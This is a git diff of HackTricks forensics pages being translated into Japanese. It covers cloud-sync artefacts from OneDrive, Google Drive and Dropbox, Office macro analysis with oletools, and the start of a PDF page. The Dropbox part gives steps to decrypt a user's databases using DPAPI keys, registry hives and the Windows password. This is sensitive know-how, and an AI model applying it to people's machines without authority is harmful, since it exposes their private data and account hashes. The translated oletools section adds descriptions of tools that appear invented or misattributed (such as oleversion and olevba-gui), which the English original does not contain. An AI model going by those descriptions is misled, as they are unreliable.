[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +Windowsでは、OneDriveフォルダは`\Users\\AppData\Local\Microsoft\OneDrive`にあります。そして、`logs\Personal`の中には、同期されたファイルに関するいくつかの興味深いデータが含まれている`SyncDiagnostics.log`というファイルがあります: -* Size in bytes -* Creation date -* Modification date -* Number of files in the cloud -* Number of files in the folder -* **CID**: Unique ID of the OneDrive user -* Report generation time -* Size of the HD of the OS +* バイト単位のサイズ +* 作成日 +* 変更日 +* クラウド内のファイル数 +* フォルダ内のファイル数 +* **CID**:OneDriveユーザーの一意のID +* レポート生成時間 +* OSのHDのサイズ -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +CIDを見つけたら、**このIDを含むファイルを検索**することをお勧めします。OneDriveと同期されたファイルの名前が_**\.ini**_と_**\.dat**_のようなファイルを見つけることができるかもしれません。これらのファイルには、OneDriveと同期されたファイルの名前など、興味深い情報が含まれている可能性があります。 ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync\_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +Windowsでは、メインのGoogle Driveフォルダは`\Users\\AppData\Local\Google\Drive\user_default`にあります。\ +このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれるSync\_log.logというファイルがあります。削除されたファイルも、対応するMD5とともにそのログファイルに表示されます。 -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +ファイル**`Cloud_graph\Cloud_graph.db`**は、テーブル**`cloud_graph_entry`**を含むsqliteデータベースです。このテーブルには、**同期されたファイル**の**名前**、変更時間、サイズ、およびファイルのMD5チェックサムが含まれています。 -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +データベース**`Sync_config.db`**のテーブルデータには、アカウントのメールアドレス、共有フォルダのパス、およびGoogle Driveのバージョンが含まれています。 ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropboxは**SQLiteデータベース**を使用してファイルを管理します。これには、次のフォルダにデータベースがあります。 * `\Users\\AppData\Local\Dropbox` * `\Users\\AppData\Local\Dropbox\Instance1` * `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +そして、主なデータベースは次のとおりです。 * Sigstore.dbx * Filecache.dbx * Deleted.dbx * Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) +".dbx"拡張子は、データベースが**暗号化**されていることを意味します。Dropboxは**DPAPI**を使用します ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Dropboxが使用する暗号化をよりよく理解するために、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読んでください。 -However, the main information is: +ただし、主な情報は次のとおりです。 -* **Entropy**: d114a55212655f74bd772e37e64aee9b -* **Salt**: 0D638C092E8B82FC452883F95F355B8E -* **Algorithm**: PBKDF2 -* **Iterations**: 1066 +* **エントロピー**:d114a55212655f74bd772e37e64aee9b +* **ソルト**:0D638C092E8B82FC452883F95F355B8E +* **アルゴリズム**:PBKDF2 +* **イテレーション**:1066 -Apart from that information, to decrypt the databases you still need: +その情報に加えて、データベースを復号化するには、次のものが必要です。 -* The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -* The **`SYSTEM`** and **`SECURITY`** hives -* The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -* The **username** and **password** of the Windows user +* **暗号化されたDPAPIキー**:これは、レジストリ内の`NTUSER.DAT\Software\Dropbox\ks\client`にあります(このデータをバイナリ形式でエクスポートします) +* **`SYSTEM`**および**`SECURITY`**ハイブ +* **DPAPIマスターキー**:これは`\Users\\AppData\Roaming\Microsoft\Protect`に見つけることができます +* Windowsユーザーの**ユーザー名**と**パスワード** -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** +その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)****ツールを使用できます。 ![](<../../../.gitbook/assets/image (448).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber\_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +すべてが予想どおりに進むと、ツールは**元のキーを回復するために使用する主キー**を示します。元のキーを回復するには、この[cyber\_chefレシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\))を使用し、主キーをレシピの「パスフレーズ」として入力します。 +結果の16進数が、データベースを復号化するために使用される最終キーです。 ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +**`config.dbx`**データベースには以下の情報が含まれています: -The **`config.dbx`** database contains: +* **Email**: ユーザーのメールアドレス +* **usernamedisplayname**: ユーザーの名前 +* **dropbox\_path**: Dropboxフォルダが配置されているパス +* **Host\_id: Hash**: クラウドへの認証に使用されるハッシュ。これはウェブからのみ取り消すことができます。 +* **Root\_ns**: ユーザー識別子 -* **Email**: The email of the user -* **usernamedisplayname**: The name of the user -* **dropbox\_path**: Path where the dropbox folder is located -* **Host\_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -* **Root\_ns**: User identifier +**`filecache.db`**データベースには、Dropboxと同期されたすべてのファイルとフォルダに関する情報が含まれています。テーブル`File_journal`には、より多くの有用な情報があります: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +* **Server\_path**: サーバー内のファイルの場所(このパスはクライアントの`host_id`で先行します)。 +* **local\_sjid**: ファイルのバージョン +* **local\_mtime**: 変更日時 +* **local\_ctime**: 作成日時 -* **Server\_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -* **local\_sjid**: Version of the file -* **local\_mtime**: Modification date -* **local\_ctime**: Creation date +このデータベース内の他のテーブルには、より興味深い情報が含まれています: -Other tables inside this database contain more interesting information: - -* **block\_cache**: hash of all the files and folders of Dropbox -* **block\_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -* **mount\_table**: Share folders of dropbox -* **deleted\_fields**: Dropbox deleted files +* **block\_cache**: Dropboxのすべてのファイルとフォルダのハッシュ +* **block\_ref**: テーブル`block_cache`のハッシュIDをテーブル`file_journal`のファイルIDと関連付ける +* **mount\_table**: Dropboxの共有フォルダ +* **deleted\_fields**: Dropboxの削除されたファイル * **date\_added** ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -125,10 +122,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 53af1bb74..a75ee9eea 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,49 +1,48 @@ -# Office file analysis +# オフィスファイルの分析
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Introduction +## はじめに -Microsoft has created **dozens of office document file formats**, many of which are popular for the distribution of phishing attacks and malware because of their ability to **include macros** (VBA scripts). - -Broadly speaking, there are two generations of Office file format: the **OLE formats** (file extensions like RTF, DOC, XLS, PPT), and the "**Office Open XML**" formats (file extensions that include DOCX, XLSX, PPTX). **Both** formats are structured, compound file binary formats that **enable Linked or Embedded content** (Objects). OOXML files are zip file containers, meaning that one of the easiest ways to check for hidden data is to simply `unzip` the document: +マイクロソフトは、**数十種類のオフィスドキュメントファイル形式**を作成しています。そのうち多くは、**マクロ**(VBAスクリプト)を**含むことができる**ため、フィッシング攻撃やマルウェアの配布に人気があります。 +大まかに言えば、オフィスファイル形式には2つの世代があります:**OLE形式**(RTF、DOC、XLS、PPTなどのファイル拡張子)と「**Office Open XML**」形式(DOCX、XLSX、PPTXなどのファイル拡張子を含む)。**両方の**形式は、リンクまたは埋め込まれたコンテンツ(オブジェクト)を可能にする構造化された複合ファイルバイナリ形式です。OOXMLファイルはzipファイルのコンテナであるため、隠されたデータをチェックする最も簡単な方法の1つは、単にドキュメントを`unzip`することです: ``` -$ unzip example.docx +$ unzip example.docx Archive: example.docx - inflating: [Content_Types].xml - inflating: _rels/.rels - inflating: word/_rels/document.xml.rels - inflating: word/document.xml - inflating: word/theme/theme1.xml - extracting: docProps/thumbnail.jpeg - inflating: word/comments.xml - inflating: word/settings.xml - inflating: word/fontTable.xml - inflating: word/styles.xml - inflating: word/stylesWithEffects.xml - inflating: docProps/app.xml - inflating: docProps/core.xml - inflating: word/webSettings.xml - inflating: word/numbering.xml +inflating: [Content_Types].xml +inflating: _rels/.rels +inflating: word/_rels/document.xml.rels +inflating: word/document.xml +inflating: word/theme/theme1.xml +extracting: docProps/thumbnail.jpeg +inflating: word/comments.xml +inflating: word/settings.xml +inflating: word/fontTable.xml +inflating: word/styles.xml +inflating: word/stylesWithEffects.xml +inflating: docProps/app.xml +inflating: docProps/core.xml +inflating: word/webSettings.xml +inflating: word/numbering.xml $ tree . ├── [Content_Types].xml @@ -53,42 +52,75 @@ $ tree │ ├── core.xml │ └── thumbnail.jpeg └── word - ├── _rels - │ └── document.xml.rels - ├── comments.xml - ├── document.xml - ├── fontTable.xml - ├── numbering.xml - ├── settings.xml - ├── styles.xml - ├── stylesWithEffects.xml - ├── theme - │ └── theme1.xml - └── webSettings.xml +├── _rels +│ └── document.xml.rels +├── comments.xml +├── document.xml +├── fontTable.xml +├── numbering.xml +├── settings.xml +├── styles.xml +├── stylesWithEffects.xml +├── theme +│ └── theme1.xml +└── webSettings.xml ``` +以下は、ファイルとフォルダの階層によって一部の構造が作成されていることがわかります。残りの部分はXMLファイル内で指定されています。[_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d)では、データ隠蔽技術のいくつかのアイデアが詳細に説明されていますが、CTFチャレンジの作成者は常に新しいアイデアを考え出しています。 -As you can see, some of the structure is created by the file and folder hierarchy. The rest is specified inside the XML files. [_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d) details some ideas for data hiding techniques, but CTF challenge authors will always be coming up with new ones. - -Once again, a Python toolset exists for the examination and **analysis of OLE and OOXML documents**: [oletools](http://www.decalage.info/python/oletools). For OOXML documents in particular, [OfficeDissector](https://www.officedissector.com) is a very powerful analysis framework (and Python library). The latter includes a [quick guide to its usage](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt). - -Sometimes the challenge is not to find hidden static data, but to **analyze a VBA macro** to determine its behavior. This is a more realistic scenario and one that analysts in the field perform every day. The aforementioned dissector tools can indicate whether a macro is present, and probably extract it for you. A typical VBA macro in an Office document, on Windows, will download a PowerShell script to %TEMP% and attempt to execute it, in which case you now have a PowerShell script analysis task too. But malicious VBA macros are rarely complicated since VBA is [typically just used as a jumping-off platform to bootstrap code execution](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). In the case where you do need to understand a complicated VBA macro, or if the macro is obfuscated and has an unpacker routine, you don't need to own a license to Microsoft Office to debug this. You can use [Libre Office](http://libreoffice.org): [its interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) will be familiar to anyone who has debugged a program; you can set breakpoints and create watch variables and capture values after they have been unpacked but before whatever payload behavior has executed. You can even start a macro of a specific document from a command line: +再び、OLEおよびOOXMLドキュメントの調査と分析のためのPythonツールセットが存在します: [oletools](http://www.decalage.info/python/oletools)。特にOOXMLドキュメントについては、[OfficeDissector](https://www.officedissector.com)は非常に強力な分析フレームワーク(およびPythonライブラリ)です。後者には、使用方法に関する[クイックガイド](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt)も含まれています。 +時には、隠された静的データを見つけるのではなく、VBAマクロを分析してその動作を判断することが課題となります。これはより現実的なシナリオであり、フィールドのアナリストが毎日実行する作業の一つです。前述の解析ツールは、マクロが存在するかどうかを示し、おそらくそれを抽出することもできます。Windows上のOfficeドキュメントの典型的なVBAマクロは、PowerShellスクリプトを%TEMP%にダウンロードし、実行しようとします。その場合、PowerShellスクリプトの分析タスクも発生します。ただし、悪意のあるVBAマクロは通常複雑ではありません。なぜなら、VBAは[通常、コード実行の起点として使用されるだけだからです](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/)。複雑なVBAマクロを理解する必要がある場合や、マクロが難読化されておりアンパッカールーチンがある場合、このためにMicrosoft Officeのライセンスを所有する必要はありません。[Libre Office](http://libreoffice.org)を使用することができます。[そのインターフェース](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/)は、プログラムのデバッグを行ったことがある人にとっては馴染みがあります。ブレークポイントを設定し、ウォッチ変数を作成し、値をキャプチャすることができます。これらの値はアンパックされた後であり、ペイロードの動作が実行される前です。特定のドキュメントのマクロをコマンドラインから起動することさえできます。 ``` $ soffice path/to/test.docx macro://./standard.module1.mymacro ``` - ## [oletools](https://github.com/decalage2/oletools) +oletoolsは、OLEオブジェクトを分析するための一連のツールです。OLEオブジェクトは、Microsoft Officeファイル(.doc、.xls、.pptなど)に埋め込まれたバイナリデータです。oletoolsを使用すると、OLEオブジェクトを抽出し、分析することができます。 + +### olevba + +olevbaは、VBA(Visual Basic for Applications)マクロを分析するためのツールです。VBAマクロは、Microsoft Officeファイルに埋め込まれた自動化スクリプトです。olevbaを使用すると、VBAマクロのコードを抽出し、分析することができます。これにより、悪意のあるコードやセキュリティ上の問題を特定することができます。 + +### oledump + +oledumpは、OLEオブジェクトを分析するための強力なツールです。このツールを使用すると、OLEオブジェクトのヘッダ情報、ストリーム、VBAマクロ、埋め込まれたファイルなどを詳細に分析することができます。oledumpは、悪意のあるコードやデータの特定、ファイルの解析、フォレンジック調査などに役立ちます。 + +### oledir + +oledirは、OLEオブジェクトのディレクトリ情報を表示するためのツールです。このツールを使用すると、OLEオブジェクト内のストリームや埋め込まれたファイルの一覧を取得することができます。oledirを使用すると、ファイルの構造を理解し、重要な情報を特定することができます。 + +### oleid + +oleidは、OLEオブジェクトの識別情報を表示するためのツールです。このツールを使用すると、OLEオブジェクトのファイルタイプ、バージョン、セキュリティ属性などを確認することができます。oleidを使用すると、ファイルの信頼性やセキュリティ上のリスクを評価することができます。 + +### olemeta + +olemetaは、OLEオブジェクトのメタデータを表示するためのツールです。このツールを使用すると、OLEオブジェクトの作成者、作成日時、最終更新日時などの情報を取得することができます。olemetaを使用すると、ファイルの起源や変更履歴を調査することができます。 + +### oletimes + +oletimesは、OLEオブジェクトのタイムスタンプ情報を表示するためのツールです。このツールを使用すると、OLEオブジェクトの作成日時、最終アクセス日時、最終更新日時などの情報を確認することができます。oletimesを使用すると、ファイルの変更履歴やアクティビティを追跡することができます。 + +### oleversion + +oleversionは、OLEオブジェクトのバージョン情報を表示するためのツールです。このツールを使用すると、OLEオブジェクトのバージョン番号や互換性情報を確認することができます。oleversionを使用すると、ファイルの互換性やセキュリティ上のリスクを評価することができます。 + +### olevba-gui + +olevba-guiは、VBAマクロを分析するためのグラフィカルユーザーインターフェース(GUI)ツールです。このツールを使用すると、VBAマクロのコードを視覚的に分析することができます。olevba-guiを使用すると、悪意のあるコードやセキュリティ上の問題を素早く特定することができます。 + +### oledump-gui + +oledump-guiは、OLEオブジェクトを分析するためのグラフィカルユーザーインターフェース(GUI)ツールです。このツールを使用すると、OLEオブジェクトのヘッダ情報、ストリーム、VBAマクロ、埋め込まれたファイルなどを視覚的に分析することができます。oledump-guiは、ファイルの解析やフォレンジック調査を簡単に行うことができます。 ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` +## 自動実行 -## Automatic Execution +`AutoOpen`、`AutoExec`、または`Document_Open`のようなマクロ関数は、**自動的に** **実行**されます。 -Macro functions like `AutoOpen`, `AutoExec` or `Document_Open` will be **automatically** **executed**. - -## References +## 参考文献 * [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) @@ -96,10 +128,10 @@ Macro functions like `AutoOpen`, `AutoExec` or `Document_Open` will be **automat ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 9323068d0..742dd73ab 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,53 +1,53 @@ -# PDF File analysis +# PDFファイルの分析
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks 